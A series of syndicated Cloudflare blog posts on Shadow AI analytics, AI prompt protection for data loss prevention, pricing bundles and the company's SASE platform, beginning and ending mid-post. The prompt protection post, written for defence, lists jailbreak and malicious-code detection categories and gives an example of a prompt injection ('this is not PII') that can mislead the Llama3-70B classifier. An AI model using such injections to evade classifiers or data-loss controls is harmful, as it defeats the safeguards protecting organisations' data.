Today, we’re just releasing our scoring rubric in order to solicit feedback from the community. But soon, you’ll start seeing these Cloudflare Application Confidence Scores integrated into the Application Library in our SASE platform. Customers can simply click or hover over any score to reveal a detailed breakdown of the rubric and underlying components of the score. Again, if you see any issues with our scoring, please submit your feedback to [email protected], and our team will review it and make adjustments if appropriate. 

Looking even further ahead, we plan to enable integration of these scores directly into Cloudflare Gateway and Access, allowing our customers to write policies that block or redirect traffic, apply data loss prevention (DLP) or remote browser isolation (RBI) or otherwise control access to sites based directly on their Cloudflare Application Confidence Score. 

This is just the beginning. By prioritizing transparency in our approach, we’re not only bridging a critical gap in SASE capabilities but also driving the industry toward stronger AI safety practices. Let us know what you think!

If you’re ready to manage risk more effectively with these Confidence Scores, reach out to Cloudflare experts for a conversation.

Unmasking the Unseen: Your Guide to Taming Shadow AI with Cloudflare One

Post Syndicated from Noelle Kagan original https://blog.cloudflare.com/shadow-AI-analytics/

The digital landscape of corporate environments has always been a battleground between efficiency and security. For years, this played out in the form of “Shadow IT” — employees using unsanctioned laptops or cloud services to get their jobs done faster. Security teams became masters at hunting these rogue systems, setting up firewalls and policies to bring order to the chaos.

But the new frontier is different, and arguably far more subtle and dangerous.

Imagine a team of engineers, deep into the development of a groundbreaking new product. They’re on a tight deadline, and a junior engineer, trying to optimize his workflow, pastes a snippet of a proprietary algorithm into a popular public AI chatbot, asking it to refactor the code for better performance. The tool quickly returns the revised code, and the engineer, pleased with the result, checks it in. What they don’t realize is that their query, and the snippet of code, is now part of the AI service’s training data, or perhaps logged and stored by the provider. Without anyone noticing, a critical piece of the company’s intellectual property has just been sent outside the organization’s control, a silent and unmonitored data leak.

This isn’t a hypothetical scenario. It’s the new reality. Employees, empowered by these incredibly powerful AI tools, are now using them for everything from summarizing confidential documents to generating marketing copy and, yes, even writing code. The data leaving the company in these interactions is often invisible to traditional security tools, which were never built to understand the nuances of a browser tab interacting with a large language model. This quiet, unmanaged usage is “Shadow AI,” and it represents a new, high-stakes security blind spot.

To combat this, we need a new approach—one that provides visibility into this new class of applications and gives security teams the control they need, without impeding the innovation that makes these tools so valuable.

Shadow AI reporting

This is where the Cloudflare Shadow IT Report comes in. It’s not a list of threats to be blocked, but rather a visibility and analytics tool designed to help you understand the problem before it becomes a crisis. Instead of relying on guesswork or trying to manually hunt down every unsanctioned application, Cloudflare One customers can use the insights from their traffic to gain a clear, data-driven picture of their organization’s application usage.

The report provides a detailed, categorized view of your application activity, and is easily narrowed down to AI activity. We’ve leveraged our network and threat intelligence capabilities to identify and classify AI services, identifying general-purpose models like ChatGPT, code-generation assistants like GitHub Copilot, and specialized tools used for marketing, data analysis, or other content creation, like Leonardo.ai. This granular view allows security teams to see not just that an employee is using an AI app, but which AI app, and what users are accessing it.

How we built it

Sharp eyed users may have noticed that we’ve had a shadow IT feature for a while — so what changed? While Cloudflare Gateway, our secure web gateway (SWG), has recorded some of this data for some time, users have wanted deeper insights and reporting into their organization’s application usage. Cloudflare Gateway processes hundreds of millions of rows of app usage data for our biggest users daily, and that scale was causing issues with queries into larger time windows. Additionally, the original implementation lacked the filtering and customization capabilities to properly investigate the usage of AI applications. We knew this was information that our customers loved, but we weren’t doing a good enough job of showing it to them.

Solving this was a cross-team effort requiring a complete overhaul by our analytics and reporting engineers. You may have seen our work recently in this July 2025 blog post detailing how we adopted TimescaleDB to support our analytics platform, unlocking our analytics, allowing us to aggregate and compress long term data to drastically improve query performance. This solves the issue we originally faced around our scale, letting our biggest customers query their data for long time periods. Our crawler collects the original HTTP traffic data from Gateway, which we store into a Timescale database.

Once the data are in our database, we built specific, materialized views in our database around the Shadow IT and AI use case to support analytics for this feature. Whereas the existing HTTP analytics we built are centered around the HTTP requests on an account, these specific views are centered around the information relevant to applications, for example: Which of my users are going to unapproved applications? How much bandwidth are they consuming? Is there an end-user in an unexpected geographical location interacting with an unreviewed application? What devices are using the most bandwidth?

Over the past year, the team has defined a set framework for the analytics we surface. Our timeseries graphs and top-n graphs are all filterable by duration and the relevant data points shown, allowing users to drill down to specific data points and see the details of their corporate traffic. We overhauled Shadow IT by examining the data we had and researching how AI applications were presenting visibility challenges for customers. From there we leveraged our existing framework and built the Shadow IT dashboard. This delivered the application-level visibility that we know our customers needed.

How to use it

1. Proxy your traffic with Gateway

The core of the system is Cloudflare Gateway, an in-line filter and proxy for all your organization’s Internet traffic, regardless of where your users are. When an employee tries to access an AI application, their traffic flows through Cloudflare’s global network. Cloudflare can inspect the traffic, including the hostname, and map the traffic to our application definitions. TLS inspection is optional for Gateway customers, but it is required for ShadowIT analytics.

Interactions are logged and tied to user identity, device posture, bandwidth consumed and even the geographic location. This rich context is crucial for understanding who is using which AI tools, when, and from where.

2. Review application use

All this granular data is then presented in an our Shadow IT Report within your Cloudflare One dashboard. Simply filter for AI applications so you can:

  • High-Level Overview: Get an immediate sense of your organization’s AI adoption. See the top AI applications in use, overall usage trends, and the volume of data being processed. This will help you identify and target your security and governance efforts.

  • Granular Drill-Downs: Need more detail? Click on any AI application to see specific users or groups accessing it, their usage frequency, location, and the amount of data transferred. This detail helps you pinpoint teams using AI around the company, as well as how much data is flowing to those applications.


ShadowIT analytics dashboard

3. Mark application approval statuses

We understand that not all AI tools are created equal, and your organization’s comfort level will vary. The Shadow AI Report introduces a flexible framework for Application Approval Status, allowing you to formally categorize each detected AI application:

  • Approved: These are the AI applications that have passed your internal security vetting, comply with your policies, and are officially sanctioned for use. 

  • Unapproved: These are the red-light applications. Perhaps they have concerning data privacy policies, a history of vulnerabilities, or simply don’t align with your business objectives.

  • In Review: For those gray-area applications, or newly discovered tools, this status lets your teams acknowledge their usage while conducting thorough due diligence. It buys you time to make an informed decision without immediate disruption.


Review and mark application statuses in the dashboard

4. Enforce policies

These approval statuses come alive when integrated with Cloudflare Gateway policies. This allows you to automatically enforce your AI decisions at the edge of Cloudflare’s network, ensuring consistent security for every employee, anywhere they work.

Here’s how you can translate your decisions into inline protection:

  • Block unapproved AI: The simplest and most direct action. Create a Gateway HTTP policy that blocks all traffic to any AI application marked as “Unapproved.” This immediately shuts down risky data exfiltration.

  • Limit “In Review” exposure: For applications still being assessed, you might not want a hard block, but rather a soft limit on potential risks:

  • Data Loss Prevention (DLP): Cloudflare DLP inspects and analyzes traffic for indicators of sensitive data (e.g., credit card numbers, PII, internal project names, source code) and can then block the transfer. By applying DLP to “In Review” AI applications, you can prevent AI prompts containing this proprietary data, as well as notify the user why the prompt was blocked. This could have saved our poor junior engineer from their well-intended mistake.. 

  • Restrict Specific Actions: Block only file uploads allowing basic interaction but preventing mass data egress. 

  • Isolate Risky Sessions: Route traffic for “In Review” applications through Cloudflare’s Browser Isolation. Browser Isolation executes the browser session in a secure, remote container, isolating all data interactions from your corporate network. With it, you can control file uploads, clipboard actions, reduce keyboard inputs and more, reducing interaction with the application while you review it.

  • Audit “Approved” usage: Even for AI tools you trust, you might want to log all interactions for compliance auditing or apply specific data handling rules to ensure ongoing adherence to internal policies.

This workflow enables your team to consistently audit your organization’s AI usage and easily update policies to quickly and easily reduce security risk.

Forensics with Cloudflare Log Explorer

While the Shadow AI Report provides excellent insights, security teams often need to perform deeper forensic investigations. For these advanced scenarios, we offer Cloudflare Log Explorer.

Log Explorer allows you to store and query your Cloudflare logs directly within the Cloudflare dashboard or via API, eliminating the need to send massive log volumes to third-party SIEMs for every investigation. It provides raw, unsampled log data with full context, enabling rapid and detailed analysis.

Log Explorer customers can dive into Shadow AI logs with pre-populated SQL queries from Cloudflare Analytics, enabling deeper investigations into AI usage:


Log Search’s SQL query interface

How to investigate Shadow AI with Log Explorer:

  • Trace Specific User Activity: If the Shadow AI Report flags a user with high activity on an “In Review” or “Unapproved” AI app, you can jump into Log Explorer and query by user, application category, or specific AI services. 

  • Analyze Data Exfiltration Attempts: If you have DLP policies configured, you can search for DLP matches in conjunction with AI application categories. This helps identify attempts to upload sensitive data to AI applications and pinpoint exactly what data was being transmitted.

  • Identify Anomalous AI Usage: The Shadow AI Report might show a spike in usage for a particular AI application. In Log Explorer, you can filter by application status (In Review or Unapproved) for a specific time range. Then, look for unusual patterns, such as a high number of requests from a single source IP address, or unexpected geographic origins, which could indicate compromised accounts or policy evasion attempts.

If AI visibility is a challenge for your organization, the Shadow AI Report is available now for Cloudflare One customers, as part of our broader shadow IT discovery capabilities. Log in to your dashboard to start regaining visibility and shaping your AI governance strategy today. 

Ready to modernize how you secure access to AI apps? Reach out for a consultation with our Cloudflare One security experts about how to regain visibility and control. 

Or if you’re not ready to talk to someone yet,  nearly every feature in Cloudflare One is available at no cost for up to 50 users. Many of our largest enterprise customers start by exploring the products themselves on our free plan, and you can get started here.

If you’ve got feedback or want to help shape how Cloudflare enhances visibility across shadow AI, please consider joining our user research program. 

Beyond the ban: A better way to secure generative AI applications

Post Syndicated from Warnessa Weaver original https://blog.cloudflare.com/ai-prompt-protection/

The revolution is already inside your organization, and it’s happening at the speed of a keystroke. Every day, employees turn to generative artificial intelligence (GenAI) for help with everything from drafting emails to debugging code. And while using GenAI boosts productivity—a win for the organization—this also creates a significant data security risk: employees may potentially share sensitive information with a third party.

Regardless of this risk, the data is clear: employees already treat these AI tools like a trusted colleague. In fact, one study found that nearly half of all employees surveyed admitted to entering confidential company information into publicly available GenAI tools. Unfortunately, the risk for human error doesn’t stop there. Earlier this year, a new feature in a leading LLM meant to make conversations shareable had a serious unintended consequence: it led to thousands of private chats — including work-related ones — being indexed by Google and other search engines. In both cases, neither example was done with malice. Instead, they were miscalculations on how these tools would be used, and it certainly did not help that organizations did not have the right tools to protect their data. 

While the instinct for many may be to deploy the old playbook of banning a risky application, GenAI is too powerful to overlook. We need a new strategy — one that moves beyond the binary universe of “blocks” and “allows” and into a reality governed by context. 

This is why we built AI prompt protection. As a new capability within Cloudflare’s Data Loss Prevention (DLP) product, it’s integrated directly into Cloudflare One, our secure access service edge (SASE) platform. This feature is a core part of our broader AI Security Posture Management (AI-SPM) approach. Our approach isn’t about building a stronger wall; it’s about providing the tools to understand and govern your organization’s AI usage, so you can secure sensitive data without stifling the innovation that GenAI enables.

What is AI prompt protection?

AI prompt protection identifies and secures the data entered into web-based AI tools. It empowers organizations with granular control to specify which actions users can and cannot take when using GenAI, such as if they can send a particular kind of prompt at all. Today, we are excited to announce this new capability is available for Google Gemini, ChatGPT, Claude, and Perplexity. 

AI prompt protection leverages four key components to keep your organization safe: prompt detection, topic classification, guardrails, and logging. In the next few sections, we’ll elaborate on how each element contributes to smarter and safer GenAI usage.

Gaining visibility: prompt detection

As the saying goes, you don’t know what you don’t know, or in this case, you can’t secure what you can’t see. The keystone of AI prompt protection is its ability to capture both the users’ prompts and GenAI’s responses. When using web applications like ChatGPT and Google Gemini, these services often leverage undocumented and private APIs (application programming interface), making it incredibly difficult for existing security solutions to inspect the interaction and understand what information is being shared. 

AI prompt protection begins by removing this obstacle and systematically detecting users’ prompts and AI’s responses from the set of supported AI tools mentioned above.  

Turning data into a signal: topic classification

Simply knowing what an employee is talking to AI about is not enough. The raw data stream of activity, while useful, is just noise without context. To build a robust security posture, we need semantic understanding of the prompts and responses.

AI prompt protection analyzes the content and intent behind every prompt the user provides, classifying it into meaningful, high-level topics. Understanding the semantics of each prompt allows us to get one step closer to securing GenAI usage. 

We have organized our topic classifications around two core evaluation categories:

  • Content focuses on the specific text or data the user provides the generative AI tool. It is the information the AI needs to process and analyze to generate a response. 

  • Intent focuses on the user’s goal or objective for the AI’s response. It dictates the type of output the user wants to receive. This category is particularly useful for customers who are using SaaS connectors or MCPs that provide the AI application access to internal data sources that contain sensitive information.

To facilitate easy adoption of AI prompt protection, we provide predefined profiles and detection entries that offer out-of-the-box protection for the most critical data types and risks. Every detection entry will specify which category (content or intent) is being evaluated. These profiles cover the following:

Evaluation Category Detection entry (Topic) Description

Content

 PII Prompt contains personal information (names, SSNs, emails, etc.)
Credentials and Secrets Prompt contains API keys, passwords, or other sensitive credentials
Source Code Prompt contains actual source code, code snippets, or proprietary algorithms
Customer Data Prompt contains customer names, projects, business activities, or confidential customer contexts
Financial Information Prompt contains financial numbers or confidential business data

Intent

 PII Prompt requests specific personal information about individuals
Code Abuse and Malicious Code Prompt requests malicious code for attacks exploits, or harmful activities
Jailbreak Prompt attempts to circumvent security policies

Let’s walk through two examples that highlight how the Content: PII and Intent: PII detections look as a realistic prompt. 

Prompt 1: “What is the nearest grocery store to me? My address is 123 Main Street, Anytown, USA.”

> This prompt will be categorized as Content: PII as it contains PII because it lists a home address and references a specific person.

Prompt 2: “Tell me Jane Doe’s address and date of birth.”

> This prompt will be categorized as Intent: PII because it is requesting PII from the AI application.


From understanding to control: guardrails

Before AI prompt protection, protecting against inappropriate use of GenAI required blocking the entire application. With semantic understanding, we can move beyond the binary of “block or allow” with the ultimate goal of enabling and governing safe usage. Guardrails allow you to build granular policies based on the very topics we have just classified.

You can, for example, create a policy that prevents a non-HR employee from submitting a prompt with the intent to receive PII from the response. The HR team, in contrast, may be allowed to do so for legitimate business purposes (e.g., compensation planning). These policies transform a blind restriction into intelligent, identity-aware controls that empower your teams without compromising security.


The above policy blocks all ChatGPT prompts that may receive PII back in the response for employees in engineering, marketing, product, and finance user groups. 

Closing the loop: logging

Even the most robust policies must be auditable, which leads us to the final piece of the puzzle: establishing a record of every interaction. Our logging capability captures both the prompt and the response, encrypted with a customer-provided public key to ensure that not even Cloudflare may access your sensitive data. This gives security teams the crucial visibility needed to investigate incidents, prove compliance, and understand how GenAI is concretely being used across the organization.

You can now quickly zero in on specific events using these new Gateway log filters:

  • Application type and name filters logs based on the application criteria in the policy that was triggered.

  • DLP payload log shows only logs that include a DLP profile match and payload log.

  • GenAI prompt captured displays logs from policies that contain a supported artificial intelligence application and a prompt log.


Additionally, each prompt log includes a conversation ID that allows you to reconstruct the user interaction from initial prompt to final response. The conversation ID equips security teams to quickly understand the context of a prompt rather than only seeing one element of the conversation. 


For a more focused view, our Application Library now features a new “Prompt Logs” filter. From here, admins can view a list of logs that are filtered to only show logs that include a captured prompt for that specific application. This view can be used to understand how different AI applications are being used to further highlight risk usage or discover new prompt topic use cases that require guardrails.


How we built it

Detecting the prompt with granular controls

This is where it gets more interesting and admittedly, more technical. Providing granular controls to organizations required help from multiple technologies. To jumpstart our progress, the acquisition of Kivera enhanced our operation mapping, which is a process that identifies the structure and content of an application’s APIs and then maps them to concrete operations a user can perform. This capability allowed us to move beyond simple expression-based HTTP policies, where users provide a static search pattern to find specific sequences in web traffic, to policies structured on application operations. This shift moves us into a powerful, dynamic environment where an administrator can author a policy that says, “Block the ‘share’ action from ChatGPT.” 

Action-based policies eliminate the need for organizations to manually extract request URLs from network traffic, which removes a significant burden from security teams. Instead, AI prompt protection can translate the action a user is taking and allow or deny based on an organization’s policies. This is exactly the kind of control organizations require to protect sensitive data use with GenAI.

Let’s take a look at how this plays out from the perspective of a request: 

  1. Cloudflare’s global network receives a HTTPS request.

  2. Cloudflare identifies and categorizes the request. For example, the request may be matched to a known application, such as ChatGPT, and then a specific action, such as SendPrompt. We do this by using operation mapping, which we talked about above. 

  3. This information is then passed to the DLP engine. Because different applications will use a variety of protocols, encodings, and schemas, this derived information is used as a primer for the DLP engine which enables it to rapidly scan for additional information in the body of the request and response. For GenAI specifically, the DLP engine extracts the user prompt, the prompt response, and the conversation ID (more on that later). 

Similar to how we maintain a HTTP header schema for applications and operations, DLP maintains logic for scanning the body of requests and responses to different applications. This logic is aware of what decoders are required for different vendors, and where interesting properties like the prompt response reside within the body.

Keeping with ChatGPT as our example, a text/event-stream is used for the response body format. This allows ChatGPT to stream the prompt response and metadata back to the client while it is generating. If you have used GenAI, you will have seen this in action when you see the model “thinking” and writing text before your eyes.

event: delta_encoding
data: "v1"

event: delta
data: {"p": "", "o": "add", "v": {"message": {"id": "43903a46-3502-4993-9c36-1741c1abaf1b", ...}, "conversation_id": "688cbc90-9f94-800d-b603-2c2edcfaf35a", "error": null}, "c": 0}     

// ...many metadata messages of different types.

event: delta
data: {"p": "/message/content/parts/0", "o": "append", "v": "**Why did the"}  

event: delta
data: {"v": " dog sit in the"} // Responses are appended via deltas as the model continues to think.

event: delta
data: {"v": " shade?**  \nBecause he"}

event: delta
data: {"v": " didn\u2019t want"}      

event: delta
data: {"v": " to be a hot dog!"}

We can see this “thinking” above as the model returns the prompt response piece by piece, appending to the previous output. Our DLP Engine logic is aware of this, making it possible to reconstruct the original prompt response: Why did the dog sit in the shade? Because he didn’t want to be a hot dog!. This is great, but what if we want to see the other animal-themed jokes that were generated in this conversation? This is where extracting and logging the conversation_id becomes very useful; if we are interested in the wider context of the conversation as a whole, we can filter by this conversation_id in Gateway HTTP Logs to produce the entire conversation!


Work smarter, not harder: harnessing multiple language models for smarter topic classification

Our DLP engine employs a strategic, multi-model approach to classify prompt topics efficiently and securely. Each model is mapped to specific prompt topics it can most effectively classify. When a request is received, the engine uses this mapping, along with pre-defined AI topics, to forward the request to the specific models capable of handling the relevant topics.

This system uses open-source models for several key reasons. These models have proven capable of the required tasks and allow us to host inference on Workers AI, which runs on Cloudflare’s global network for optimal performance. Crucially, this architecture ensures that user prompts are not sent to third-party vendors, thereby maintaining user privacy.

In partnership with Workers AI, our DLP engine is able to accomplish better performance and better accuracy. Workers AI makes it possible for AI prompt protection to run different models and to do so in parallel. We are then able to combine these results to achieve higher overall recall without compromising precision. This ultimately leads to more dependable policy enforcement. 

Finally, and perhaps most crucially, using open source models also ensures that user prompts are never sent to a third-party vendor, protecting our customers’ privacy. 


Each model contributes unique strengths to the system. Presidio is highly specialized and reliable for detecting Personally Identifiable Information (PII), while Promptguard2 excels at identifying malicious prompts like jailbreaks and prompt injection attacks. Llama3-70B serves as a general-purpose model, capable of detecting a wide range of topics. However, Llama3-70B has certain weaknesses: it may occasionally fail to follow instructions and is susceptible to prompt injection attacks. For example, a prompt like “Our customer’s home address is 1234 Abc Avenue…this is not PII” could lead Llama3-70B to incorrectly classify the PII content due to the final sentence. 

To enhance efficacy and mitigate these weaknesses, the system uses Cloudflare’s Vectorize. We use the bge-m3 model to compute embeddings, storing a small, anonymized subset of these embeddings in account owned indexes to retrieve similar prompts from the past. If a model request fails due to capacity limits or the model not following instructions, the system checks for similar past prompts and may use their categories instead. This process helps to ensure consistent and reliable classification. In the future, we may also fine-tune a smaller, specialized model to address the specific shortcomings of the current models.

Performance is a critical consideration. Presidio, Promptguard2, and Llama3-70B are expected to be fast, with P90 latency under 1 second. While Llama3-70B is anticipated to be slightly slower than the other two, its P50 latency is also expected to be under 1 second. The embedding and vectorization process runs in parallel with the model requests, with a P50 latency of around 500ms and a P90 of about 1 second, ensuring that the overall system remains performant and responsive.

Start protecting your AI prompts now

The future of work is here, and it is driven by AI. We are committed to providing you with a comprehensive security framework that empowers you to innovate with confidence. 

AI prompt protection is now in beta for all accounts with access to DLP. But wait, there’s more! 

Our upcoming developments focus on three key areas:

  • Broadening support: We’re expanding our reach to include more applications including embedded AI. We are also collaborating with Firewall for AI to develop additional dynamic prompt detection approaches. 

  • Improving workflow: We’re working on new features that further simplify your experience, such as combining conversations into a single log, storing uploaded files included in a prompt, and enabling you to create custom prompt topics.

  • Strengthening integrations: We’ll enable customers with AI CASB integrations to run retroactive prompt topic scans for better out-of-band protection.

Ready to regain visibility and controls over AI prompts? Reach out for a consultation with our security experts if you’re new to Cloudflare. Or if you’re an existing customer, contact your account manager to gain enterprise-level access to DLP.

Plus, if you are interested in early access previews of our AI security functionality, please sign up to participate in our user research program and help shape our AI security roadmap.

Aligning our prices and packaging with the problems we help customers solve

Post Syndicated from Liam Reese original https://blog.cloudflare.com/aligning-our-prices-and-packaging-with-the-problems-we-help-customers-solve/

At Cloudflare, we have a simple but audacious goal: to help build a better Internet. That mission has driven us to build one of the world’s largest networks, to stand up for content providers, and to innovate relentlessly to make the Internet safer, faster, and more reliable for everyone, everywhere.

Building world-class products is only part of the battle, however. Fulfilling our mission means making these products accessible, including a pricing model that is fair, predictable, and aligned with the value we provide. If our packaging is confusing, or if our pricing penalizes you for using the service, then we’re not living up to our mission. And the best way to ensure that alignment?

Listen to our customers.

Over the years, your feedback has shaped our product roadmap, helping us evolve to offer nearly 100 products across four solution areas — Application Services, Network Services, Zero Trust Services, and our Developer Platform — on a single, unified platform and network infrastructure. Recently, we’ve heard a new theme emerge: the need for simplicity. You’ve asked us, “A hundred products is a lot. Can you please be more prescriptive?” and “Can you make your pricing more straightforward?”

We heard that feedback loud and clear. That’s why we are incredibly excited to introduce Externa and Interna, two new families of use-case bundles designed to simplify your journey with Cloudflare.


Two challenges, two solutions

When we speak with CIOs, CTOs, and CISOs, their challenges almost always boil down to connecting and protecting two fundamental domains: (1) their external, public-facing infrastructure and (2) their internal, private systems.

Historically, the industry has sold dozens of point products to solve these problems with a series of band-aids. A WAF from one vendor, a DDoS scrubber from another, a VPN from a third. The result is a mess of complexity, vendor lock-in, and a security posture riddled with gaps. It’s expensive, inefficient, and insecure. 


We think that’s backwards. There’s a simpler, more integrated approach with our new solution packages:

  • Externa to connect and protect the part of your business facing the public Internet — the websites, APIs, applications, and networks that are the front doors and face of your business

  • Interna to connect and protect your internal private systems and resources — the employees, devices, data, and networks that are at the heart of your organization

These packages represent our prescriptive view on what a modern connectivity and security architecture should look like. And, they’re best when used together.


Externa: Connect and protect external, public-facing systems 

With Externa, we’re solving for the complexity of connecting and protecting your public-facing infrastructure. A key principle here is fairness. We’ve seen competitors send customers astronomical bills after a DDoS attack because they charge for all traffic — clean or malicious. It’s like a fire department charging you for the water they use to save your house. We don’t do that and never have, which is why with Externa, you only pay for legitimate traffic.


We believe a simple, integrated model will reduce total cost of ownership and lead to a stronger security posture. A patchwork of band-aids is a lot of overhead to manage. Externa bundles our WAF, DDoS, API security, networking, application performance services, and more, into a simple package with units of measure that scale with value.

What does this mean for you?

  • No attack traffic tax: your costs remain predictable, even during a massive DDoS attack.

  • Simple, value-driven price units: no origin fetch fees, duplicate charges per request, or paying per rule.

  • Simplified connectivity costs: free private interconnects to on-ramp easily, wherever you’re hosted.

And because security shouldn’t stop at your perimeter, every Externa package includes 50 seats of Interna, our SASE solution package.

Interna: Connect and protect internal, private systems 

With Interna, we’re fixing the broken economics of networking and security. The old models were built for a world where everyone came into an office. The world has changed: in today’s hybrid work environment, your internal network isn’t just confined to your offices and data centers anymore. It’s wherever your employees and data are. But many vendors still effectively charge you twice for the same user — once for the seat and again when they’re using the office network.


We believe you should never pay for user bandwidth. Our model recognizes that a user is a user, wherever they are; we don’t double-charge for bandwidth; we actually subtract the traffic that’s generated from user device clients from your WAN meter. We’ve gone a step further: every Interna user license contributes to a shared bandwidth pool that you can use to build a modern, secure, and fast corporate WAN. With Interna, the budget you already have for security now builds your corporate network, too.

What does this mean for you?

  • Never pay for user bandwidth: a single per-seat price covers your users wherever they work, reducing your WAN bill and eliminating the hybrid work penalty.

  • Each license expands your WAN: pooled bandwidth from user licenses helps you replace expensive, dedicated WAN contracts.

  • All-inclusive security: premium features like Digital Experience Monitoring (DEM) and both in-line and API-based Cloud Access Security Broker (CASB) are included, not expensive add-ons.


The unifying Cloudflare advantage

Our unique advantage has always been our network. Serving millions of customers — from individual developers on our Free plan to the world’s largest enterprises — on one platform and one global network gives us incredible leverage. It’s what allows us to offer robust free services and protect journalists and nonprofits. It’s also what makes our platform structurally better: our AI models are trained on data from 20% of the web, providing more effective threat detection than siloed platforms ever could.

We believe that the same structural advantage should help businesses of all sizes scale without compromise. As companies grow, they often face a difficult choice: does the patchwork of point products they started with become too complex to manage, or does the integrated platform they chose become too limited? You asked for a more prescriptive path, one that solves this false choice.

With our new Externa and Interna bundles, that trade-off is over. The Essentials, Advantage, and Premier tiers in each family are designed to provide a clear path for businesses of all sizes, allowing you to adopt stage-appropriate networking and security solutions that scale seamlessly. As your business grows, you move up the tiers from Essentials to Advantage to Premier, gaining access to more advanced features along the way. It’s growth, simplified.


Ready for the next steps towards simplified security and connectivity?

We’ve aimed to deliver pricing and packaging that is fair, accessible, predictable, and scales with value. This is what it means to align our pricing and packaging with our principles. It’s another step toward a better Internet. 

Learn more about these packages or contact our sales team today to learn how to transform your business.

Cloudflare recognized as a Visionary in 2025 Gartner® Magic Quadrant™ for SASE Platforms

Post Syndicated from Abe Carryl original https://blog.cloudflare.com/cloudflare-sase-gartner-magic-quadrant-2025/

We are thrilled to announce that Cloudflare has been named a Visionary in the 2025 Gartner® Magic Quadrant™ for Secure Access Service Edge (SASE) Platforms1 report. We view this evaluation as a significant recognition of our strategy to help connect and secure workspace security and coffee shop networking through our unique connectivity cloud approach. You can read more about our position in the report here.

Since launching Cloudflare One, our SASE platform, we have delivered hundreds of features and capabilities from our lightweight branch connector and intuitive native Data Loss Prevention (DLP) service to our new secure infrastructure access tools. By operating the world’s most powerful, programmable network we’ve built an incredible foundation to deliver a comprehensive SASE platform. 

Today, we operate the world’s most expansive SASE network in order to deliver connectivity and security close to where users and applications are, anywhere in the world. We’ve developed our services from the ground up to be fully integrated and run on every server across our network, delivering a unified experience to our customers. And we enable these services with a unified control plane, enabling end-to-end visibility and control anywhere in the world. Tens of thousands of customers trust Cloudflare with their network and security infrastructure.

We’re thrilled with our inclusion in this report and are even more excited that we’re only just getting started. Building on this foundation, we’re investing to move even faster to solve problems for our customers.

What is SASE?

SASE (pronounced “sassy”) is an architectural model that delivers network connectivity and security functions, and delivers them through a single cloud platform and/or centralized policy control.

Given the extent of what organizations need for networking and security, not all SASE capabilities may be available from a single vendor. For example, the security-as-a-service model is sometimes consumed as a part of Security Service Edge (SSE).

The evolution of this architecture, where a vendor delivers key functionality across networking and security service in a single offering, is SASE. What’s important to note, however, is that convergence can mean many, many different things. For example, some vendors started with SSE capabilities and are building out infrastructure to support it. Some vendors are using public cloud for their infrastructure. Some are aggressively pursuing M&A to acquire functionality. These decisions have led to many problematic questions such as: how many interfaces do organizations need to manage their network and security needs? Why is security enforcement sometimes in the cloud and sometimes at the branch edge?

We believe that the market deserves more than a buffet of features. Convergence should be greater than the sum of the parts. The infrastructure/control plane/data plane for networking services should not be an independent entity from the security services. We believe that we are delivering SASE capabilities in a fundamentally different manner than the majority of vendors in the market: by building out the platform first, and layering services upon it.

We also believe that our efforts to focus on the underlying network delivers better solutions for simplifying your infrastructure, establishing control, and maintaining visibility to support branch connectivity, hybrid work, Zero Trust, and secure cloud access.

What is required for SASE and how is Cloudflare different?

The Cloudflare Global network is one of the largest, most well-connected networks in the world, spanning more than 330 cities in over 125 countries. We are not a new vendor entering a new market, but rather one that has been delivering services upon a mature platform that’s been tested under the most extreme circumstances over the past 15+ years.

Our unified platform, Cloudflare’s connectivity cloud, is built upon a set of principles across our infrastructure, our control plane, and our data plane, that guides everything we do:

Infrastructure: The infrastructure that we build must be everywhere our customers do business. Users, applications, and data are everywhere, and therefore we build ahead of our customer’s needs to ensure that they can connect anything to anywhere, quickly and reliably.

Control Plane: To stay on top of operations, organizations want a single user interface for monitoring activity and enforcing policies, with changes pushed out globally in seconds. In addition, our customers want APIs to extend management into automation and infrastructure-as-code tools. We help organizations cut down on the tool sprawl, doing away with the drudgery and complexity that affects even the most basic administrative tasks with conventional tech stacks. And we restore observability across activity (again by virtue of facilitating any-to-any connectivity) to help with operations with troubleshooting, forensics, and insights across the application landscape.

Data Plane: The data plane is where services are delivered, and we constantly deliver innovations in how users connect, consistently enforce inspection and policy, and deliver traffic to the intended location securely. These services are composable, meaning that new functionality can be enabled from the Control Plane, without the headaches of network downtime normally associated with appliance insertion.

How customers benefit from Cloudflare’s design principles 

These principles are crucial for delivering a superior, end-to-end user experience. Your SASE environment is (or will be) processing packets from users across the globe. Latency damages the user experience, in ways that are similar to how a smoothly running engine becomes unreliable and inefficient as internal components become dirty. Our design principles establish the north star to ensure that everything we do and everything we build does not add grit to the engine. This is important because we are seeing a lot of confusion (and some obfuscation) about how to deliver performant SASE services.

To understand how our principles apply towards the delivery of SASE services:

Connecting users to a data center (last mile latency): With traditional on-prem networking, one of the major sources of latency is getting the traffic to the security stack. Both hub & spoke and VPN focus on taking traffic (from sometimes distant locations) to one of the organization’s security enforcement points such as a perimeter firewall. With SASE, the objective is to deliver the security closer to the user, using one of the SASE provider’s data centers. Cloudflare’s global coverage delivers service to within 50ms of 95% of the world’s population. This is something unique to Cloudflare, in that other vendors seldom discuss how much data center coverage is needed to deliver sufficient last mile performance, or sometimes use confusing metrics about the latency within their data centers (see next section) to infer what organizations might expect with end-to-end latency.

Delivering key networking and security services (processing latency): SASE data centers must deliver networking and security, but not all cloud data centers are designed the same. Some implementations in the market separate the SASE edge (the point of presence) from the actual compute (the data center itself). Some have disguised their single-pass processing with a series of daisy-chained proxies, which requires inefficiently decoding packets multiple times (From L3 to L7 and back to L3) to perform different security functions. As a result, there’s often a delta between the performance of a configuration that offers low latency and the configuration with the security features that customers want enabled. Cloudflare delivers full compute in every data center. There is no “next-hop” to compute; instead, there are fungible compute resources to ensure the fastest interface-to-interface possible with all the security features (including TLS decryption) enabled.

Connecting from the SASE to applications (Internet exchanges, private backbone, optimized routing and peering): Many vendors optimize their data centers to focus on egress to the Internet/cloud, typically by participating in Internet exchanges along with a handful of peering relationships. In other words, their networks were not designed for traffic between data centers, which is a suboptimal design for branch-to-branch or branch-to-data-center traffic.

Cloudflare’s network operates a private backbone for traffic destined to another Cloudflare data center, and we are one of the largest participants in Internet exchanges in the world for traffic destined to the Internet/cloud. We are connected to over 13,000 public and private networks, plus our open peering policy provides extensive access for networks of different sizes to participate as well. But user experience isn’t determinable solely by the number of interconnections. Not all Internet exchanges are the same, and in many cases there are variables that affect the quality and reliability of any given connection. That’s why Cloudflare further optimizes the connection to the user’s ultimate destination, whether destined to a public or private network, to make path selection more intelligent than simply counting hops over routing protocols.

How customers adopt Cloudflare One

